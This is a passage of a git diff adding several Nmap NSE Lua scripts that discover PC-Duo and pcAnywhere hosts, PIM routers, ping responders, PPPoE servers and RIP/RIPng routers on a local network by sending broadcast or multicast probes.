+categories = { "broadcast", "safe" }
+
+local TIMEOUT = stdnse.parse_timespec(stdnse.get_script_args("broadcast-pc-anywhere.timeout"))
+
+prerule = function() return ( nmap.address_family() == "inet") end
+
+action = function()
+
+
+ local host = { ip = "255.255.255.255" }
+ local port = { number = 5632, protocol = "udp" }
+
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(500)
+
+ for i=1,2 do
+ local status = socket:sendto(host, port, "NQ")
+ if ( not(status) ) then
+ return stdnse.format_output(false, "Failed to send broadcast request")
+ end
+ end
+
+ local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
+ local responses = {}
+ local stime = os.time()
+
+ repeat
+ local status, data = socket:receive()
+ if ( status ) then
+ local srvname = data:match("^NR([^_]*)_*AHM_3___\0$")
+ if ( srvname ) then
+ local status, _, _, rhost, _ = socket:get_info()
+ if ( not(status) ) then
+ socket:close()
+ return false, "Failed to get socket information"
+ end
+ -- avoid duplicates
+ responses[rhost] = srvname
+ end
+ end
+ until( os.time() - stime > timeout )
+ socket:close()
+
+ local result = {}
+ for ip, name in pairs(responses) do
+ table.insert(result, ("%s - %s"):format(ip,name))
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/broadcast-pc-duo.nse b/scripts/broadcast-pc-duo.nse
new file mode 100644
index 0000000..f8e9016
--- /dev/null
+++ b/scripts/broadcast-pc-duo.nse
@@ -0,0 +1,132 @@
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Discovers PC-DUO remote control hosts and gateways running on a LAN by sending a special broadcast UDP probe.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-pc-duo
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-pc-duo:
+-- | PC-Duo Gateway Server
+-- | 10.0.200.113 - WIN2K3SRV-1
+-- | PC-Duo Hosts
+-- |_ 10.0.200.113 - WIN2K3SRV-1
+--
+-- @args broadcast-pc-duo.timeout specifies the amount of seconds to sniff
+-- the network interface. (default varies according to timing. -T3 = 5s)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "broadcast", "safe" }
+
+local TIMEOUT = stdnse.parse_timespec(stdnse.get_script_args("broadcast-pc-duo.timeout"))
+
+prerule = function() return ( nmap.address_family() == "inet") end
+
+-- Sends a UDP probe to the server and processes the response
+-- @param probe table containing a pc-duo probe
+-- @param responses table containing the responses
+local function udpProbe(probe, responses)
+
+ local condvar = nmap.condvar(responses)
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(500)
+
+ for i=1,2 do
+ local status = socket:sendto(probe.host, probe.port, probe.data)
+ if ( not(status) ) then
+ return stdnse.format_output(false, "Failed to send broadcast request")
+ end
+ end
+
+ local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
+ local stime = os.time()
+ local hosts = {}
+
+ repeat
+ local status, data = socket:receive()
+ if ( status ) then
+ local srvname = data:match(probe.match)
+ if ( srvname ) then
+ local status, _, _, rhost, _ = socket:get_info()
+ if ( not(status) ) then
+ socket:close()
+ return false, "Failed to get socket information"
+ end
+ -- avoid duplicates
+ hosts[rhost] = srvname
+ end
+ end
+ until( os.time() - stime > timeout )
+ socket:close()
+
+ local result = {}
+ for ip, name in pairs(hosts) do
+ table.insert(result, ("%s - %s"):format(ip,name))
+ end
+
+ if ( #result > 0 ) then
+ result.name = probe.topic
+ table.insert(responses, result)
+ end
+
+ condvar "signal"
+end
+
+action = function()
+
+ -- PC-Duo UDP probes
+ local probes = {
+ -- PC-Duo Host probe
+ {
+ host = { ip = "255.255.255.255" },
+ port = { number = 1505, protocol = "udp" },
+ data = stdnse.fromhex("00808008ff00"),
+ match= "^.........(%w*)\0",
+ topic= "PC-Duo Hosts"
+ },
+ -- PC-Duo Gateway Server probe
+ {
+ host = { ip = "255.255.255.255" },
+ port = { number = 2303, protocol = "udp" },
+ data = stdnse.fromhex("20908008ff00"),
+ match= "^.........(%w*)\0",
+ topic= "PC-Duo Gateway Server"
+ },
+ }
+
+ local threads, responses = {}, {}
+ local condvar = nmap.condvar(responses)
+
+ -- start a thread for each probe
+ for _, p in ipairs(probes) do
+ local th = stdnse.new_thread( udpProbe, p, responses )
+ threads[th] = true
+ end
+
+ -- wait until the probes are all done
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then
+ threads[thread] = nil
+ end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ table.sort(responses, function(a,b) return a.name < b.name end)
+ -- did we get any responses
+ if ( #responses > 0 ) then
+ return stdnse.format_output(true, responses)
+ end
+end
diff --git a/scripts/broadcast-pim-discovery.nse b/scripts/broadcast-pim-discovery.nse
new file mode 100644
index 0000000..c142891
--- /dev/null
+++ b/scripts/broadcast-pim-discovery.nse
@@ -0,0 +1,185 @@
+local nmap = require "nmap"
+local packet = require "packet"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local target = require "target"
+local table = require "table"
+local math = require "math"
+local string = require "string"
+
+description = [[
+Discovers routers that are running PIM (Protocol Independent Multicast).
+
+This works by sending a PIM Hello message to the PIM multicast address
+224.0.0.13 and listening for Hello messages from other routers.
+]]
+
+---
+-- @args broadcast-pim-discovery.timeout Time to wait for responses in seconds.
+-- Defaults to <code>5s</code>.
+--
+--@usage
+-- nmap --script broadcast-pim-discovery
+--
+-- nmap --script broadcast-pim-discovery -e eth1
+-- --script-args 'broadcast-pim-discovery.timeout=10'
+--
+--@output
+-- Pre-scan script results:
+-- | broadcast-pim-discovery:
+-- | 172.16.0.12
+-- | 172.16.0.31
+-- | 172.16.0.44
+-- |_ Use the newtargets script-arg to add the results as targets
+
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "broadcast"}
+
+prerule = function()
+ if nmap.address_family() ~= 'inet' then
+ stdnse.verbose1("is IPv4 only.")
+ return false
+ end
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+-- Generates a raw PIM Hello message.
+--@return hello Raw PIM Hello message
+local helloRaw = function()
+ local hello_raw = string.pack(">BB I2",
+ 0x20, -- Version: 2, Type: Hello (0)
+ 0x00, -- Reserved
+ 0x0000) -- Checksum: Calculated later
+ -- Options (TLVs)
+ .. string.pack(">I2I2 I2", 0x01, 0x02, 0x01) -- Hold time 1 second
+ .. string.pack(">I2I2 I4", 0x14, 0x04, math.random(23456)) -- Generation ID: Random
+ .. string.pack(">I2I2 I4", 0x13, 0x04, 0x01) -- DR Priority: 1
+ .. string.pack(">I2I2 BBI2", 0x15, 0x04, 0x01, 0x00, 0x00) -- State fresh capable: Version = 1, interval = 0, Reserved
+ -- Calculate checksum
+ hello_raw = hello_raw:sub(1,2) .. string.pack(">I2", packet.in_cksum(hello_raw)) .. hello_raw:sub(5)
+
+ return hello_raw
+end
+
+-- Sends a PIM Hello message.
+--@param interface Network interface to use.
+--@param dstip Destination IP to which send the Hello.
+local helloQuery = function(interface, dstip)
+ local hello_packet, sock, eth_hdr
+ local srcip = interface.address
+
+ local hello_raw = helloRaw()
+ local ip_raw = stdnse.fromhex( "45c00040ed780000016718bc0a00c8750a00c86b") .. hello_raw
+ hello_packet = packet.Packet:new(ip_raw, ip_raw:len())
+ hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
+ hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
+ hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum()
+
+ sock = nmap.new_dnet()
+ sock:ethernet_open(interface.device)
+ -- Ethernet multicast for PIM, our ethernet address and packet type IP
+ eth_hdr = "\x01\x00\x5e\x00\x00\x0d" .. interface.mac .. "\x08\x00"
+ sock:ethernet_send(eth_hdr .. hello_packet.buf)
+ sock:ethernet_close()
+end
+
+-- Listens for PIM Hello messages.
+--@param interface Network interface to listen on.
+--@param timeout Time to listen for a response.
+--@param responses table to insert responders' IPs into.
+local helloListen = function(interface, timeout, responses)
+ local condvar = nmap.condvar(responses)
+ local start = nmap.clock_ms()
+ local listener = nmap.new_socket()
+ local p, hello_raw, status, l3data, _
+
+ -- PIM packets that are sent to 224.0.0.13 and not coming from our host
+ local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address
+ listener:set_timeout(100)
+ listener:pcap_open(interface.device, 1024, true, filter)
+
+ while (nmap.clock_ms() - start) < timeout do
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ p = packet.Packet:new(l3data, #l3data)
+ hello_raw = string.sub(l3data, p.ip_hl*4 + 1)
+ -- Check that PIM Type is Hello
+ if p and hello_raw:byte(1) == 0x20 then
+ table.insert(responses, p.ip_src)
+ end
+ end
+ end
+ condvar("signal")
+end
+
+--- Returns the network interface used to send packets to the destination host.
+--@param destination host to which the interface is used.
+--@return interface Network interface used for destination host.
+local getInterface = function(destination)
+ -- First, create dummy UDP connection to get interface
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(destination, "12345", "udp")
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ local status, address, _, _, _ = sock:get_info()
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ for _, interface in pairs(nmap.list_interfaces()) do
+ if interface.address == address then
+ return interface
+ end
+ end
+end
+
+action = function()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ local responses = {}
+ timeout = (timeout or 5) * 1000
+ local mcast = "224.0.0.13"
+
+ -- Get the network interface to use
+ local interface = nmap.get_interface()
+ if interface then
+ interface = nmap.get_interface_info(interface)
+ else
+ interface = getInterface(mcast)
+ end
+ if not interface then
+ return stdnse.format_output(false, ("Couldn't get interface for %s"):format(mcast))
+ end
+
+ stdnse.debug1("will send via %s interface.", interface.shortname)
+
+ -- Launch listener
+ stdnse.new_thread(helloListen, interface, timeout, responses)
+
+ -- Send Hello after small sleep so the listener doesn't miss any responses
+ stdnse.sleep(0.1)
+ helloQuery(interface, mcast)
+ local condvar = nmap.condvar(responses)
+ condvar("wait")
+
+ if #responses > 0 then
+ table.sort(responses)
+ if target.ALLOW_NEW_TARGETS then
+ for _, response in pairs(responses) do
+ target.add(response)
+ end
+ else
+ table.insert(responses,"Use the newtargets script-arg to add the results as targets")
+ end
+ return stdnse.format_output(true, responses)
+ end
+end
diff --git a/scripts/broadcast-ping.nse b/scripts/broadcast-ping.nse
new file mode 100644
index 0000000..065e9e2
--- /dev/null
+++ b/scripts/broadcast-ping.nse
@@ -0,0 +1,283 @@
+local coroutine = require "coroutine"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+local rand = require "rand"
+
+
+description = [[
+Sends broadcast pings on a selected interface using raw ethernet packets and
+outputs the responding hosts' IP and MAC addresses or (if requested) adds them
+as targets. Root privileges on UNIX are required to run this script since it
+uses raw sockets. Most operating systems don't respond to broadcast-ping
+probes, but they can be configured to do so.
+
+The interface on which is broadcasted can be specified using the -e Nmap option
+or the <code>broadcast-ping.interface</code> script-arg. If no interface is
+specified this script broadcasts on all ethernet interfaces which have an IPv4
+address defined.
+
+The <code>newtarget</code> script-arg can be used so the script adds the
+discovered IPs as targets.
+
+The timeout of the ICMP probes can be specified using the <code>timeout</code>
+script-arg. The default timeout is 3000 ms. A higher number might be necessary
+when scanning across larger networks.
+
+The number of sent probes can be specified using the <code>num-probes</code>
+script-arg. The default number is 1. A higher value might get more results on
+larger networks.
+
+The ICMP probes sent comply with the --ttl and --data-length Nmap options, so
+you can use those to control the TTL(time to live) and ICMP payload length
+respectively. The default value for TTL is 64, and the length of the payload
+is 0. The payload is consisted of random bytes.
+]]
+
+---
+-- @usage
+-- nmap -e <interface> [--ttl <ttl>] [--data-length <payload_length>]
+-- --script broadcast-ping [--script-args [broadcast-ping.timeout=<ms>],[num-probes=<n>]]
+--
+-- @args broadcast-ping.interface string specifying which interface to use for this script (default all interfaces)
+-- @args broadcast-ping.num_probes number specifying how many ICMP probes should be sent (default 1)
+-- @args broadcast-ping.timeout timespec specifying how long to wait for response (default 3s)
+--
+-- @output
+-- | broadcast-ping:
+-- | IP: 192.168.1.1 MAC: 00:23:69:2a:b1:25
+-- | IP: 192.168.1.106 MAC: 1c:65:9d:88:d8:36
+-- |_ Use --script-args=newtargets to add the results as targets
+--
+--
+
+author = "Gorjan Petrovski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","safe","broadcast"}
+
+
+prerule = function()
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("not running for lack of privileges.")
+ end
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ return nil
+ end
+
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+
+ return true
+end
+
+
+--- ICMP packet crafting
+--
+-- @param srcIP string containing the source IP, IPv4 format
+-- @param dstIP string containing the destination IP, IPv4 format
+-- @param ttl number containing value for the TTL (time to live) field in IP header
+-- @param data_length number value of ICMP payload length
+local icmp_packet = function(srcIP, dstIP, ttl, data_length, mtu, seqNo, icmp_id)
+ -- A couple of checks first
+ assert((seqNo and seqNo>0 and seqNo<=0xffff),"ICMP Sequence number: Value out of range(1-65535).")
+ assert((ttl and ttl>0 and ttl<0xff),"TTL(time-to-live): Value out of range(1-256).")
+ -- MTU values should be considered here!
+ assert((data_length and data_length>=0 and data_length<mtu),"ICMP Payload length: Value out of range(0-mtu).")
+
+ -- ICMP Message
+ local icmp_payload = nil
+ if data_length and data_length>0 then
+ icmp_payload = rand.random_string(data_length)
+ else
+ icmp_payload = ""
+ end
+
+ -- Type=08; Code=00; Chksum=0000; ID=icmp_id; SeqNo=icmp_seqNo; Payload=icmp_payload(hex string);
+ local icmp_msg = string.pack(">BBI2", 8, 0, 0) .. icmp_id .. string.pack("I2", seqNo) .. icmp_payload
+
+ local icmp_checksum = packet.in_cksum(icmp_msg)
+
+ icmp_msg = string.pack(">BBI2", 8, 0, icmp_checksum) .. icmp_id .. string.pack("I2", seqNo) .. icmp_payload
+
+
+ --IP header
+ local ip_bin = "\x45\x00" .. -- IPv4, no options, no DSCN, no ECN
+ string.pack(">I2I2",
+ 20 + #icmp_msg, -- total length
+ 0) -- IP ID
+ .. "\x40\x00" -- DF
+ .. string.pack("BB",
+ ttl,
+ 1 -- ICMP
+ )
+ .. ("\0"):rep(10) -- checksum & addresses
+
+ -- IP+ICMP; Addresses and checksum need to be filled
+ local icmp_bin = ip_bin .. icmp_msg
+
+ --Packet
+ local icmp = packet.Packet:new(icmp_bin,#icmp_bin)
+ assert(icmp,"Mistake during ICMP packet parsing")
+
+ icmp:ip_set_bin_src(ipOps.ip_to_str(srcIP))
+ icmp:ip_set_bin_dst(ipOps.ip_to_str(dstIP))
+ icmp:ip_count_checksum()
+
+ return icmp
+end
+
+local broadcast_if = function(if_table,icmp_responders)
+ local condvar = nmap.condvar(icmp_responders)
+
+ local num_probes = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".num-probes")) or 1
+
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ timeout = (timeout or 3) * 1000
+
+ local ttl = nmap.get_ttl()
+
+ local data_length = nmap.get_payload_length()
+ local sequence_number = 1
+ local destination_IP = "255.255.255.255"
+
+ -- raw IPv4 socket
+ local dnet = nmap.new_dnet()
+ local try = nmap.new_try()
+ try = nmap.new_try(function() dnet:ethernet_close() end)
+
+ -- raw sniffing socket (icmp echoreply style)
+ local pcap = nmap.new_socket()
+ pcap:set_timeout(timeout)
+
+ local mtu = if_table.mtu or 256 -- 256 is minimal mtu
+
+ pcap:pcap_open(if_table.device, 104, false, "dst host ".. if_table.address ..
+ " and icmp[icmptype]==icmp-echoreply")
+ try(dnet:ethernet_open(if_table.device))
+
+ local source_IP = if_table.address
+
+ local icmp_ids = {}
+
+ for i = 1, num_probes do
+ -- ICMP packet
+ local icmp_id = rand.random_string(2)
+ icmp_ids[icmp_id]=true
+ local icmp = icmp_packet( source_IP, destination_IP, ttl,
+ data_length, mtu, sequence_number, icmp_id)
+
+ local ethernet_icmp = (
+ "\xFF\xFF\xFF\xFF\xFF\xFF" -- dst mac
+ .. if_table.mac -- src mac
+ .. "\x08\x00" -- ethertype IPv4
+ .. icmp.buf -- data
+ )
+
+ try( dnet:ethernet_send(ethernet_icmp) )
+ end
+
+ while true do
+ local status, plen, l2, l3data, _ = pcap:pcap_receive()
+ if not status then break end
+
+ -- Do stuff with packet
+ local icmpreply = packet.Packet:new(l3data,plen,false)
+ -- We check whether the packet is parsed ok, and whether the ICMP ID of the sent packet
+ -- is the same with the ICMP ID of the received packet. We don't want ping probes interfering
+ local icmp_id = icmpreply:raw(icmpreply.icmp_offset+4,2)
+ if icmpreply:ip_parse() and icmp_ids[icmp_id] then
+ if not icmp_responders[icmpreply.ip_src] then
+ -- [key = IP]=MAC
+ local mac_pretty = stdnse.format_mac(l2:sub(7,12))
+ icmp_responders[icmpreply.ip_src] = mac_pretty
+ end
+ else
+ stdnse.debug1("Erroneous ICMP packet received; Cannot parse IP header.")
+ end
+ end
+
+ pcap:close()
+ dnet:ethernet_close()
+
+ condvar "signal"
+end
+
+
+action = function()
+
+ --get interface script-args, if any
+ local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ local interface_opt = nmap.get_interface()
+
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces ={}
+ if interface_opt or interface_arg then
+ -- single interface defined
+ local interface = interface_opt or interface_arg
+ local if_table = nmap.get_interface_info(interface)
+ if not (if_table and if_table.address and if_table.link=="ethernet") then
+ stdnse.debug1("Interface not supported or not properly configured.")
+ return false
+ end
+ table.insert(interfaces, if_table)
+ else
+ local tmp_ifaces = nmap.list_interfaces()
+ for _, if_table in ipairs(tmp_ifaces) do
+ if if_table.address and
+ if_table.link=="ethernet" and
+ if_table.address:match("%d+%.%d+%.%d+%.%d+") then
+ table.insert(interfaces, if_table)
+ end
+ end
+ end
+
+ if #interfaces == 0 then
+ stdnse.debug1("No interfaces found.")
+ return
+ end
+
+ local icmp_responders={}
+ local threads ={}
+ local condvar = nmap.condvar(icmp_responders)
+
+ -- party time
+ for _, if_table in ipairs(interfaces) do
+ -- create a thread for each interface
+ local co = stdnse.new_thread(broadcast_if, if_table, icmp_responders)
+ threads[co]=true
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ -- generate output
+ local output = tab.new()
+ for ip_addr, mac_addr in pairs(icmp_responders) do
+ if target.ALLOW_NEW_TARGETS then
+ target.add(ip_addr)
+ end
+ tab.addrow(output, "IP: " .. ip_addr, "MAC: " .. mac_addr)
+ end
+ if #output > 0 then
+ output = { tab.dump(output) }
+ if not target.ALLOW_NEW_TARGETS then
+ output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
+ end
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/broadcast-pppoe-discover.nse b/scripts/broadcast-pppoe-discover.nse
new file mode 100644
index 0000000..18de05b
--- /dev/null
+++ b/scripts/broadcast-pppoe-discover.nse
@@ -0,0 +1,124 @@
+local nmap = require "nmap"
+local pppoe = require "pppoe"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Discovers PPPoE (Point-to-Point Protocol over Ethernet) servers using
+the PPPoE Discovery protocol (PPPoED). PPPoE is an ethernet based
+protocol so the script has to know what ethernet interface to use for
+discovery. If no interface is specified, requests are sent out on all
+available interfaces.
+
+As the script send raw ethernet frames it requires Nmap to be run in privileged
+mode to operate.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-pppoe-discover
+--
+-- @output
+-- | broadcast-pppoe-discover:
+-- | Server: 08:00:27:AB:CD:EF
+-- | Version: 1
+-- | Type: 1
+-- | TAGs
+-- | AC-Name: ISP
+-- | Service-Name: test
+-- | AC-Cookie: e98010ed8c59a870f0dc94d56ac1095dd321000001
+-- |_ Host-Uniq: 7f8552a0
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function()
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+local function fail(err)
+ return stdnse.format_output(false, err)
+end
+
+local function discoverPPPoE(helper)
+
+ local status, err = helper:connect()
+ if ( not(status) ) then
+ return false, err
+ end
+
+ local status, pado = helper:discoverInit()
+ if ( not(status) ) then
+ return false, pado
+ end
+
+ status, err = helper:discoverRequest()
+ if ( not(status) ) then
+ return false, err
+ end
+
+ return true, pado
+end
+
+-- Gets a list of available interfaces based on link and up filters
+--
+-- @param link string containing the link type to filter
+-- @param up string containing the interface status to filter
+-- @return result table containing the matching interfaces
+local function getInterfaces(link, up)
+ if( not(nmap.list_interfaces) ) then return end
+ local interfaces, err = nmap.list_interfaces()
+ local result
+ if ( not(err) ) then
+ for _, iface in ipairs(interfaces) do
+ if ( iface.link == link and iface.up == up ) then
+ result = result or {}
+ result[iface.device] = true
+ end
+ end
+ end
+ return result
+end
+
+action = function()
+
+ local interfaces
+
+ -- first check if the user supplied an interface
+ if ( nmap.get_interface() ) then
+ interfaces = { [nmap.get_interface()] = true }
+ else
+ interfaces = getInterfaces("ethernet", "up")
+ end
+
+ for iface in pairs(interfaces) do
+ local helper, err = pppoe.Helper:new(iface)
+ if ( not(helper) ) then
+ return fail(err)
+ end
+ local status, pado = discoverPPPoE(helper)
+ if ( not(status) ) then
+ return fail(pado)
+ end
+ helper:close()
+
+ local output = { name = ("Server: %s"):format(stdnse.format_mac(pado.mac_srv)) }
+ table.insert(output, ("Version: %d"):format(pado.header.version))
+ table.insert(output, ("Type: %d"):format(pado.header.type))
+
+ local tags = { name = "TAGs" }
+ for _, tag in ipairs(pado.tags) do
+ local name, val = pppoe.PPPoE.TagName[tag.tag], tag.decoded
+ table.insert(tags, ("%s: %s"):format(name, val))
+ end
+ table.insert(output, tags)
+
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/broadcast-rip-discover.nse b/scripts/broadcast-rip-discover.nse
new file mode 100644
index 0000000..1aa19dd
--- /dev/null
+++ b/scripts/broadcast-rip-discover.nse
@@ -0,0 +1,181 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+
+description=[[
+Discovers hosts and routing information from devices running RIPv2 on the
+LAN. It does so by sending a RIPv2 Request command and collects the responses
+from all devices responding to the request.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-rip-discover
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-rip-discover:
+-- | Discovered RIPv2 devices
+-- | 10.0.200.107
+-- | ip netmask nexthop metric
+-- | 10.46.100.0 255.255.255.0 0.0.0.0 1
+-- | 10.46.110.0 255.255.255.0 0.0.0.0 1
+-- | 10.46.120.0 255.255.255.0 0.0.0.0 1
+-- | 10.46.123.0 255.255.255.0 10.0.200.123 1
+-- | 10.46.124.0 255.255.255.0 10.0.200.124 1
+-- | 10.46.125.0 255.255.255.0 10.0.200.125 1
+-- | 10.0.200.101
+-- | ip netmask nexthop metric
+-- |_ 0.0.0.0 0.0.0.0 10.0.200.1 1
+--
+-- @args broadcast-rip-discover.timeout timespec defining how long to wait for
+-- a response. (default 5s)
+
+--
+-- Version 0.1
+-- Created 29/10/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return not( nmap.address_family() == "inet6") end
+
+RIPv2 = {
+
+ Command = {
+ Request = 1,
+ Response = 2,
+ },
+
+ AddressFamily = {
+ IP = 2,
+ },
+
+ -- The Request class contains functions to build a RIPv2 Request
+ Request = {
+
+ -- Creates a new Request instance
+ --
+ -- @param command number containing the RIPv2 Command to use
+ -- @return o instance of request
+ new = function(self, command)
+ local o = {
+ version = 2,
+ command = command,
+ domain = 0,
+ family = 0,
+ tag = 0,
+ address = 0,
+ subnet = 0,
+ nexthop = 0,
+ metric = 16
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the whole request to a string
+ __tostring = function(self)
+ assert(self.command, "No command was supplied")
+ assert(self.metric, "No metric was supplied")
+ assert(self.address, "No address was supplied")
+ local RESERVED = 0
+ -- RIPv2 stuff, should be 0 for RIPv1
+ local tag, subnet, nexthop = 0, 0, 0
+
+ local data = string.pack(">BB I2 I2 I2 I4 I4 I4 I4",
+ self.command, self.version, self.domain, self.family, self.tag,
+ self.address, self.subnet, self.nexthop, self.metric)
+
+ return data
+ end,
+
+ },
+
+ -- The Response class contains code needed to parse a RIPv2 response
+ Response = {
+
+ -- Creates a new Response instance based on raw socket data
+ --
+ -- @param data string containing the raw socket response
+ -- @return o Response instance
+ new = function(self, data)
+ local o = { data = data }
+
+ if ( not(data) or #data < 3 ) then
+ return
+ end
+ local pos, _
+ o.command, o.version, _, pos = string.unpack(">BBI2", data)
+ if ( o.command ~= RIPv2.Command.Response or o.version ~= 2 ) then
+ return
+ end
+
+ local routes = tab.new(2)
+ tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
+
+ while( #data - pos >= 20 ) do
+ local family, address, metric, netmask, nexthop
+ family, _, address, netmask, nexthop,
+ metric, pos = string.unpack(">I2 I2 I4 I4 I4 I4", data, pos)
+
+ if ( family == RIPv2.AddressFamily.IP ) then
+ local ip = ipOps.fromdword(address)
+ netmask = ipOps.fromdword(netmask)
+ nexthop = ipOps.fromdword(nexthop)
+ tab.addrow(routes, ip, netmask, nexthop, metric)
+ end
+ end
+
+ if ( #routes > 1 ) then o.routes = routes end
+
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ }
+
+}
+
+
+action = function()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
+ timeout = (timeout or 5) * 1000
+
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(timeout)
+
+ local rip = RIPv2.Request:new(RIPv2.Command.Request)
+ local status, err = socket:sendto("224.0.0.9",
+ { number = 520, protocol = "udp" },
+ tostring(rip))
+ local result = {}
+ repeat
+ local data
+ status, data = socket:receive()
+ if ( status ) then
+ local status, _, _, rhost, _ = socket:get_info()
+ local response = RIPv2.Response:new(data)
+ table.insert(result, rhost)
+
+ if ( response and response.routes and #response.routes > 0 ) then
+ --response.routes.name = "Routes"
+ table.insert(result, { tab.dump(response.routes) } )
+ end
+
+ end
+ until( not(status) )
+
+ if ( #result > 0 ) then
+ result.name = "Discovered RIPv2 devices"
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/broadcast-ripng-discover.nse b/scripts/broadcast-ripng-discover.nse
new file mode 100644
index 0000000..82f90dd
--- /dev/null
+++ b/scripts/broadcast-ripng-discover.nse
@@ -0,0 +1,215 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Discovers hosts and routing information from devices running RIPng on the
+LAN by sending a broadcast RIPng Request command and collecting any responses.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-ripng-discover
+--
+-- @output
+-- | broadcast-ripng-discover:
+-- | fe80::a00:27ff:fe9a:880c
+-- | route metric next hop
+-- | fe80:470:0:0:0:0:0:0/64 1
+-- | fe80:471:0:0:0:0:0:0/64 1
+-- |_ fe80:472:0:0:0:0:0:0/64 1
+--
+-- @args broadcast-ripng-discover.timeout sets the connection timeout
+-- (default: 5s)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return ( nmap.address_family() == "inet6" ) end
+
+RIPng = {
+
+ -- Supported RIPng commands
+ Command = {
+ Request = 1,
+ Response = 2,
+ },
+
+ -- Route table entry
+ RTE = {
+
+ -- Creates a new Route Table Entry
+ -- @param prefix string containing the ipv6 route prefix
+ -- @param tag number containing the route tag
+ -- @param prefix_len number containing the length in bits of the
+ -- significant part of the prefix
+ -- @param metric number containing the current metric for the
+ -- destination
+ new = function(self, prefix, tag, prefix_len, metric)
+ local o = {
+ prefix = prefix,
+ tag = tag,
+ prefix_len = prefix_len,
+ metric = metric
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses a byte string and creates an instance of RTE
+ -- @param data string of bytes
+ -- @return rte instance of RTE
+ parse = function(data)
+ local rte = RIPng.RTE:new()
+ local pos, ip
+
+ ip, rte.tag, rte.prefix_len, rte.metric, pos = string.unpack(">c16 I2 BB", data)
+ rte.prefix = ipOps.str_to_ip(ip, 'inet6')
+ return rte
+ end,
+
+ -- Converts a RTE instance to string
+ -- @return string of bytes to send to the server
+ __tostring = function(self)
+ local ipstr = ipOps.ip_to_str(self.prefix)
+ assert(16 == #ipstr, "Invalid IPv6 address encountered")
+ return ipstr .. string.pack(">I2 BB", self.tag, self.prefix_len, self.metric)
+ end,
+
+
+ },
+
+ -- The Request class contains functions to build a RIPv2 Request
+ Request = {
+
+ -- Creates a new Request instance
+ --
